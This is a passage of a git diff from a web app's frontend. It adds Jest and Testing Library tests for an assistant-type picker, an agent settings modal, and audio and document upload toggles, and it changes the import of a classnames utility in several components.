+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown and select agent
+      await waitFor(() => {
+        const agentOptions = screen.getAllByText(/agentAssistant.name/i)
+        expect(agentOptions.length).toBeGreaterThan(0)
+      })
+
+      const agentOptions = screen.getAllByText(/agentAssistant.name/i)
+      await user.click(agentOptions[0])
+
+      // Assert - Dropdown should remain open (agent settings should be visible)
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should not call onChange when clicking same value', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn()
+      renderComponent({ value: 'chat', onChange })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown and click same option
+      await waitFor(() => {
+        const chatOptions = screen.getAllByText(/chatAssistant.name/i)
+        expect(chatOptions.length).toBeGreaterThan(1)
+      })
+
+      const chatOptions = screen.getAllByText(/chatAssistant.name/i)
+      await user.click(chatOptions[1])
+
+      // Assert
+      expect(onChange).not.toHaveBeenCalled()
+    })
+  })
+
+  // Disabled state
+  describe('Disabled State', () => {
+    it('should not respond to clicks when disabled', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn()
+      renderComponent({ disabled: true, onChange })
+
+      // Act - Open dropdown (dropdown can still open when disabled)
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown to open
+      await waitFor(() => {
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Act - Try to click an option
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+      await user.click(agentOption)
+
+      // Assert - onChange should not be called (options are disabled)
+      expect(onChange).not.toHaveBeenCalled()
+    })
+
+    it('should not show agent config UI when disabled', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', disabled: true })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Agent settings option should not be visible
+      await waitFor(() => {
+        expect(screen.queryByText(/agent.setting.name/i)).not.toBeInTheDocument()
+      })
+    })
+
+    it('should show agent config UI when not disabled', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', disabled: false })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Agent settings option should be visible
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Agent Settings Modal
+  describe('Agent Settings Modal', () => {
+    it('should open agent settings modal when clicking agent config UI', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', disabled: false })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Click agent settings
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should not open agent settings when value is not agent', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'chat', disabled: false })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown to open
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Assert - Agent settings modal should not appear (value is 'chat')
+      expect(screen.queryByText(/common.operation.save/i)).not.toBeInTheDocument()
+    })
+
+    it('should call onAgentSettingChange when saving agent settings', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onAgentSettingChange = jest.fn()
+      renderComponent({ value: 'agent', disabled: false, onAgentSettingChange })
+
+      // Act - Open dropdown and agent settings
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Wait for modal and click save
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+
+      const saveButton = screen.getByText(/common.operation.save/i)
+      await user.click(saveButton)
+
+      // Assert
+      expect(onAgentSettingChange).toHaveBeenCalledWith(defaultAgentConfig)
+    })
+
+    it('should close modal when saving agent settings', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', disabled: false })
+
+      // Act - Open dropdown, agent settings, and save
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/appDebug.agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const saveButton = screen.getByText(/common.operation.save/i)
+      await user.click(saveButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByText(/common.operation.save/i)).not.toBeInTheDocument()
+      })
+    })
+
+    it('should close modal when canceling agent settings', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onAgentSettingChange = jest.fn()
+      renderComponent({ value: 'agent', disabled: false, onAgentSettingChange })
+
+      // Act - Open dropdown, agent settings, and cancel
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+
+      const cancelButton = screen.getByText(/common.operation.cancel/i)
+      await user.click(cancelButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByText(/common.operation.save/i)).not.toBeInTheDocument()
+      })
+      expect(onAgentSettingChange).not.toHaveBeenCalled()
+    })
+
+    it('should close dropdown when opening agent settings', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', disabled: false })
+
+      // Act - Open dropdown and agent settings
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Assert - Modal should be open and dropdown should close
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+
+      // The dropdown should be closed (agent settings description should not be visible)
+      await waitFor(() => {
+        const descriptions = screen.queryAllByText(/agent.setting.description/i)
+        expect(descriptions.length).toBe(0)
+      })
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid toggle clicks', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+      await user.click(trigger)
+      await user.click(trigger)
+
+      // Assert - Should not crash
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should handle multiple rapid selection changes', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn()
+      renderComponent({ value: 'chat', onChange })
+
+      // Act - Open and select agent
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Click agent option - this stays open because value is 'agent'
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+      await user.click(agentOption)
+
+      // Assert - onChange should have been called once to switch to agent
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalledTimes(1)
+      })
+      expect(onChange).toHaveBeenCalledWith('agent')
+    })
+
+    it('should handle missing callback functions gracefully', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act & Assert - Should not crash
+      expect(() => {
+        renderComponent({
+          onChange: undefined!,
+          onAgentSettingChange: undefined!,
+        })
+      }).not.toThrow()
+
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+    })
+
+    it('should handle empty agentConfig', async () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ agentConfig: {} as AgentConfig })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+    })
+
+    describe('should render with different prop combinations', () => {
+      const combinations = [
+        { value: 'chat' as const, disabled: true, isFunctionCall: true, isChatModel: true },
+        { value: 'agent' as const, disabled: false, isFunctionCall: false, isChatModel: false },
+        { value: 'agent' as const, disabled: true, isFunctionCall: true, isChatModel: false },
+        { value: 'chat' as const, disabled: false, isFunctionCall: false, isChatModel: true },
+      ]
+
+      it.each(combinations)(
+        'value=$value, disabled=$disabled, isFunctionCall=$isFunctionCall, isChatModel=$isChatModel',
+        (combo) => {
+          // Arrange & Act
+          renderComponent(combo)
+
+          // Assert
+          const expectedText = combo.value === 'agent' ? 'agentAssistant.name' : 'chatAssistant.name'
+          expect(screen.getByText(new RegExp(expectedText, 'i'))).toBeInTheDocument()
+        },
+      )
+    })
+  })
+
+  // Accessibility
+  describe('Accessibility', () => {
+    it('should render interactive dropdown items', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Both options should be visible and clickable
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Verify we can interact with option elements using helper function
+      const chatOption = getOptionByDescription(/chatAssistant.description/i)
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+      expect(chatOption).toBeInTheDocument()
+      expect(agentOption).toBeInTheDocument()
+    })
+  })
+
+  // SelectItem Component
+  describe('SelectItem Component', () => {
+    it('should show checked state for selected option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'chat' })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Both options should be visible with radio components
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // The SelectItem components render with different visual states
+      // based on isChecked prop - we verify both options are rendered
+      const chatOption = getOptionByDescription(/chatAssistant.description/i)
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+      expect(chatOption).toBeInTheDocument()
+      expect(agentOption).toBeInTheDocument()
+    })
+
+    it('should render description text', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Descriptions should be visible
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should show Radio component for each option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Radio components should be present (both options visible)
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Agent Setting Integration
+  describe('AgentSetting Integration', () => {
+    it('should show function call mode when isFunctionCall is true', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', isFunctionCall: true, isChatModel: false })
+
+      // Act - Open dropdown and settings modal
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+      expect(screen.getByText(/appDebug.agent.agentModeType.functionCall/i)).toBeInTheDocument()
+    })
+
+    it('should show built-in prompt when isFunctionCall is false', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent', isFunctionCall: false, isChatModel: true })
+
+      // Act - Open dropdown and settings modal
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/common.operation.save/i)).toBeInTheDocument()
+      })
+      expect(screen.getByText(/tools.builtInPromptTitle/i)).toBeInTheDocument()
+    })
+
+    it('should initialize max iteration from agentConfig payload', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const customConfig: AgentConfig = {
+        enabled: true,
+        max_iteration: 10,
+        strategy: AgentStrategy.react,
+        tools: [],
+      }
+
+      renderComponent({ value: 'agent', agentConfig: customConfig })
+
+      // Act - Open dropdown and settings modal
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettingsTrigger = screen.getByText(/agent.setting.name/i)
+      await user.click(agentSettingsTrigger)
+
+      // Assert
+      await screen.findByText(/common.operation.save/i)
+      const maxIterationInput = await screen.findByRole('spinbutton')
+      expect(maxIterationInput).toHaveValue(10)
+    })
+  })
+
+  // Keyboard Navigation
+  describe('Keyboard Navigation', () => {
+    it('should support closing dropdown with Escape key', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Press Escape
+      await user.keyboard('{Escape}')
+
+      // Assert - Dropdown should close
+      await waitFor(() => {
+        expect(screen.queryByText(/chatAssistant.description/i)).not.toBeInTheDocument()
+      })
+    })
+
+    it('should allow keyboard focus on trigger element', () => {
+      // Arrange
+      renderComponent()
+
+      // Act - Get trigger and verify it can receive focus
+      const trigger = screen.getByText(/chatAssistant.name/i)
+
+      // Assert - Element should be focusable
+      expect(trigger).toBeInTheDocument()
+      expect(trigger.parentElement).toBeInTheDocument()
+    })
+
+    it('should allow keyboard focus on dropdown options', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Get options
+      const chatOption = getOptionByDescription(/chatAssistant.description/i)
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+
+      // Assert - Options should be focusable
+      expect(chatOption).toBeInTheDocument()
+      expect(agentOption).toBeInTheDocument()
+
+      // Verify options can receive focus
+      act(() => {
+        chatOption.focus()
+      })
+      expect(document.activeElement).toBe(chatOption)
+    })
+
+    it('should maintain keyboard accessibility for all interactive elements', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent' })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Agent settings button should be focusable
+      await waitFor(() => {
+        expect(screen.getByText(/agent.setting.name/i)).toBeInTheDocument()
+      })
+
+      const agentSettings = screen.getByText(/agent.setting.name/i)
+      expect(agentSettings).toBeInTheDocument()
+    })
+  })
+
+  // ARIA Attributes
+  describe('ARIA Attributes', () => {
+    it('should have proper ARIA state for dropdown', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const { container } = renderComponent()
+
+      // Act - Check initial state
+      const portalContainer = container.querySelector('[data-state]')
+      expect(portalContainer).toHaveAttribute('data-state', 'closed')
+
+      // Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - State should change to open
+      await waitFor(() => {
+        const openPortal = container.querySelector('[data-state="open"]')
+        expect(openPortal).toBeInTheDocument()
+      })
+    })
+
+    it('should have proper data-state attribute', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert - Portal should have data-state for accessibility
+      const portalContainer = container.querySelector('[data-state]')
+      expect(portalContainer).toBeInTheDocument()
+      expect(portalContainer).toHaveAttribute('data-state')
+
+      // Should start in closed state
+      expect(portalContainer).toHaveAttribute('data-state', 'closed')
+    })
+
+    it('should maintain accessible structure for screen readers', () => {
+      // Arrange & Act
+      renderComponent({ value: 'chat' })
+
+      // Assert - Text content should be accessible
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+
+      // Icons should have proper structure
+      const { container } = renderComponent()
+      const icons = container.querySelectorAll('svg')
+      expect(icons.length).toBeGreaterThan(0)
+    })
+
+    it('should provide context through text labels', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - All options should have descriptive text
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Title text should be visible
+      expect(screen.getByText(/assistantType.name/i)).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config/assistant-type-picker/index.tsx b/web/app/components/app/configuration/config/assistant-type-picker/index.tsx
index 3597a6e292..50f16f957a 100644
--- a/web/app/components/app/configuration/config/assistant-type-picker/index.tsx
+++ b/web/app/components/app/configuration/config/assistant-type-picker/index.tsx
@@ -4,7 +4,7 @@ import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiArrowDownSLine } from '@remixicon/react'
 import AgentSetting from '../agent/agent-setting'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/app/configuration/config/automatic/idea-output.tsx b/web/app/components/app/configuration/config/automatic/idea-output.tsx
index df4f76c92b..895f74baa3 100644
--- a/web/app/components/app/configuration/config/automatic/idea-output.tsx
+++ b/web/app/components/app/configuration/config/automatic/idea-output.tsx
@@ -3,7 +3,7 @@ import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid
 import { useBoolean } from 'ahooks'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Textarea from '@/app/components/base/textarea'
 import { useTranslation } from 'react-i18next'
 
diff --git a/web/app/components/app/configuration/config/automatic/instruction-editor.tsx b/web/app/components/app/configuration/config/automatic/instruction-editor.tsx
index b14ee93313..409f335232 100644
--- a/web/app/components/app/configuration/config/automatic/instruction-editor.tsx
+++ b/web/app/components/app/configuration/config/automatic/instruction-editor.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React from 'react'
 import PromptEditor from '@/app/components/base/prompt-editor'
 import type { GeneratorType } from './types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Node, NodeOutPutVar, ValueSelector } from '@/app/components/workflow/types'
 import { BlockEnum } from '@/app/components/workflow/types'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/app/configuration/config/automatic/prompt-toast.tsx b/web/app/components/app/configuration/config/automatic/prompt-toast.tsx
index 2826cc97c8..c9169f0ad7 100644
--- a/web/app/components/app/configuration/config/automatic/prompt-toast.tsx
+++ b/web/app/components/app/configuration/config/automatic/prompt-toast.tsx
@@ -1,7 +1,7 @@
 import { RiArrowDownSLine, RiSparklingFill } from '@remixicon/react'
 import { useBoolean } from 'ahooks'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Markdown } from '@/app/components/base/markdown'
 import { useTranslation } from 'react-i18next'
 import s from './style.module.css'
diff --git a/web/app/components/app/configuration/config/automatic/version-selector.tsx b/web/app/components/app/configuration/config/automatic/version-selector.tsx
index c3d3e1d91c..715c1f3c80 100644
--- a/web/app/components/app/configuration/config/automatic/version-selector.tsx
+++ b/web/app/components/app/configuration/config/automatic/version-selector.tsx
@@ -1,7 +1,7 @@
 import React, { useCallback } from 'react'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 import { useBoolean } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine, RiCheckLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 
diff --git a/web/app/components/app/configuration/config/config-audio.spec.tsx b/web/app/components/app/configuration/config/config-audio.spec.tsx
new file mode 100644
index 0000000000..94eeb87c99
--- /dev/null
+++ b/web/app/components/app/configuration/config/config-audio.spec.tsx
@@ -0,0 +1,123 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ConfigAudio from './config-audio'
+import type { FeatureStoreState } from '@/app/components/base/features/store'
+import { SupportUploadFileTypes } from '@/app/components/workflow/types'
+
+const mockUseContext = jest.fn()
+jest.mock('use-context-selector', () => {
+  const actual = jest.requireActual('use-context-selector')
+  return {
+    ...actual,
+    useContext: (context: unknown) => mockUseContext(context),
+  }
+})
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+const mockUseFeatures = jest.fn()
+const mockUseFeaturesStore = jest.fn()
+jest.mock('@/app/components/base/features/hooks', () => ({
+  useFeatures: (selector: (state: FeatureStoreState) => any) => mockUseFeatures(selector),
+  useFeaturesStore: () => mockUseFeaturesStore(),
+}))
+
+type SetupOptions = {
+  isVisible?: boolean
+  allowedTypes?: SupportUploadFileTypes[]
+}
+
+let mockFeatureStoreState: FeatureStoreState
+let mockSetFeatures: jest.Mock
+const mockStore = {
+  getState: jest.fn<FeatureStoreState, []>(() => mockFeatureStoreState),
+}
+
+const setupFeatureStore = (allowedTypes: SupportUploadFileTypes[] = []) => {
+  mockSetFeatures = jest.fn()
+  mockFeatureStoreState = {
+    features: {
+      file: {
+        allowed_file_types: allowedTypes,
+        enabled: allowedTypes.length > 0,
+      },
+    },
+    setFeatures: mockSetFeatures,
+    showFeaturesModal: false,
+    setShowFeaturesModal: jest.fn(),
+  }
+  mockStore.getState.mockImplementation(() => mockFeatureStoreState)
+  mockUseFeaturesStore.mockReturnValue(mockStore)
+  mockUseFeatures.mockImplementation(selector => selector(mockFeatureStoreState))
+}
+
+const renderConfigAudio = (options: SetupOptions = {}) => {
+  const {
+    isVisible = true,
+    allowedTypes = [],
+  } = options
+  setupFeatureStore(allowedTypes)
+  mockUseContext.mockReturnValue({
+    isShowAudioConfig: isVisible,
+  })
+  const user = userEvent.setup()
+  render(<ConfigAudio />)
+  return {
+    user,
+    setFeatures: mockSetFeatures,
+  }
+}
+
+beforeEach(() => {
+  jest.clearAllMocks()
+})
+
+describe('ConfigAudio', () => {
+  it('should not render when the audio configuration is hidden', () => {
+    renderConfigAudio({ isVisible: false })
+
+    expect(screen.queryByText('appDebug.feature.audioUpload.title')).not.toBeInTheDocument()
+  })
+
+  it('should display the audio toggle state based on feature store data', () => {
+    renderConfigAudio({ allowedTypes: [SupportUploadFileTypes.audio] })
+
+    expect(screen.getByText('appDebug.feature.audioUpload.title')).toBeInTheDocument()
+    expect(screen.getByRole('switch')).toHaveAttribute('aria-checked', 'true')
+  })
+
+  it('should enable audio uploads when toggled on', async () => {
+    const { user, setFeatures } = renderConfigAudio()
+    const toggle = screen.getByRole('switch')
+
+    expect(toggle).toHaveAttribute('aria-checked', 'false')
+    await user.click(toggle)
+
+    expect(setFeatures).toHaveBeenCalledWith(expect.objectContaining({
+      file: expect.objectContaining({
+        allowed_file_types: [SupportUploadFileTypes.audio],
+        enabled: true,
+      }),
+    }))
+  })
+
+  it('should disable audio uploads and turn off file feature when last type is removed', async () => {
+    const { user, setFeatures } = renderConfigAudio({ allowedTypes: [SupportUploadFileTypes.audio] })
+    const toggle = screen.getByRole('switch')
+
+    expect(toggle).toHaveAttribute('aria-checked', 'true')
+    await user.click(toggle)
+
+    expect(setFeatures).toHaveBeenCalledWith(expect.objectContaining({
+      file: expect.objectContaining({
+        allowed_file_types: [],
+        enabled: false,
+      }),
+    }))
+  })
+})
diff --git a/web/app/components/app/configuration/config/config-document.spec.tsx b/web/app/components/app/configuration/config/config-document.spec.tsx
new file mode 100644
index 0000000000..aeb504fdbd
--- /dev/null
+++ b/web/app/components/app/configuration/config/config-document.spec.tsx
@@ -0,0 +1,119 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ConfigDocument from './config-document'
+import type { FeatureStoreState } from '@/app/components/base/features/store'
+import { SupportUploadFileTypes } from '@/app/components/workflow/types'
+
+const mockUseContext = jest.fn()
+jest.mock('use-context-selector', () => {
+  const actual = jest.requireActual('use-context-selector')
+  return {
+    ...actual,
+    useContext: (context: unknown) => mockUseContext(context),
+  }
+})
+
+const mockUseFeatures = jest.fn()
+const mockUseFeaturesStore = jest.fn()
+jest.mock('@/app/components/base/features/hooks', () => ({
+  useFeatures: (selector: (state: FeatureStoreState) => any) => mockUseFeatures(selector),
+  useFeaturesStore: () => mockUseFeaturesStore(),
+}))
+
+type SetupOptions = {
+  isVisible?: boolean
+  allowedTypes?: SupportUploadFileTypes[]
+}
+
+let mockFeatureStoreState: FeatureStoreState
+let mockSetFeatures: jest.Mock
+const mockStore = {
+  getState: jest.fn<FeatureStoreState, []>(() => mockFeatureStoreState),
+}
+
+const setupFeatureStore = (allowedTypes: SupportUploadFileTypes[] = []) => {
+  mockSetFeatures = jest.fn()
+  mockFeatureStoreState = {
+    features: {
+      file: {
+        allowed_file_types: allowedTypes,
+        enabled: allowedTypes.length > 0,
+      },
+    },
+    setFeatures: mockSetFeatures,
+    showFeaturesModal: false,
+    setShowFeaturesModal: jest.fn(),
+  }
+  mockStore.getState.mockImplementation(() => mockFeatureStoreState)
+  mockUseFeaturesStore.mockReturnValue(mockStore)
+  mockUseFeatures.mockImplementation(selector => selector(mockFeatureStoreState))
+}
+
+const renderConfigDocument = (options: SetupOptions = {}) => {
+  const {
+    isVisible = true,
+    allowedTypes = [],
+  } = options
+  setupFeatureStore(allowedTypes)
+  mockUseContext.mockReturnValue({
+    isShowDocumentConfig: isVisible,
+  })
+  const user = userEvent.setup()
+  render(<ConfigDocument />)
+  return {
+    user,
+    setFeatures: mockSetFeatures,
+  }
+}
+
+beforeEach(() => {
+  jest.clearAllMocks()
+})
+
+describe('ConfigDocument', () => {
+  it('should not render when the document configuration is hidden', () => {
+    renderConfigDocument({ isVisible: false })
+
+    expect(screen.queryByText('appDebug.feature.documentUpload.title')).not.toBeInTheDocument()
+  })
+
+  it('should show document toggle badge when configuration is visible', () => {
+    renderConfigDocument({ allowedTypes: [SupportUploadFileTypes.document] })
+
+    expect(screen.getByText('appDebug.feature.documentUpload.title')).toBeInTheDocument()
+    expect(screen.getByRole('switch')).toHaveAttribute('aria-checked', 'true')
+  })
+
+  it('should add document type to allowed list when toggled on', async () => {
+    const { user, setFeatures } = renderConfigDocument({ allowedTypes: [SupportUploadFileTypes.audio] })
+    const toggle = screen.getByRole('switch')
+
+    expect(toggle).toHaveAttribute('aria-checked', 'false')
+    await user.click(toggle)
+
+    expect(setFeatures).toHaveBeenCalledWith(expect.objectContaining({
+      file: expect.objectContaining({
+        allowed_file_types: [SupportUploadFileTypes.audio, SupportUploadFileTypes.document],
+        enabled: true,
+      }),
+    }))
+  })
+
+  it('should remove document type but keep file feature enabled when other types remain', async () => {
+    const { user, setFeatures } = renderConfigDocument({
+      allowedTypes: [SupportUploadFileTypes.document, SupportUploadFileTypes.audio],
+    })
+    const toggle = screen.getByRole('switch')
+
+    expect(toggle).toHaveAttribute('aria-checked', 'true')
+    await user.click(toggle)
+
+    expect(setFeatures).toHaveBeenCalledWith(expect.objectContaining({
+      file: expect.objectContaining({
+        allowed_file_types: [SupportUploadFileTypes.audio],
+        enabled: true,
+      }),
+    }))
+  })
+})
diff --git a/web/app/components/app/configuration/config/index.spec.tsx b/web/app/components/app/configuration/config/index.spec.tsx
new file mode 100644
index 0000000000..814c52c3d7
--- /dev/null
+++ b/web/app/components/app/configuration/config/index.spec.tsx
@@ -0,0 +1,254 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Config from './index'
+import type { ModelConfig, PromptVariable } from '@/models/debug'
+import * as useContextSelector from 'use-context-selector'
+import type { ToolItem } from '@/types/app'
+import { AgentStrategy, AppModeEnum, ModelModeType } from '@/types/app'
+
+jest.mock('use-context-selector', () => {
+  const actual = jest.requireActual('use-context-selector')
+  return {
+    ...actual,
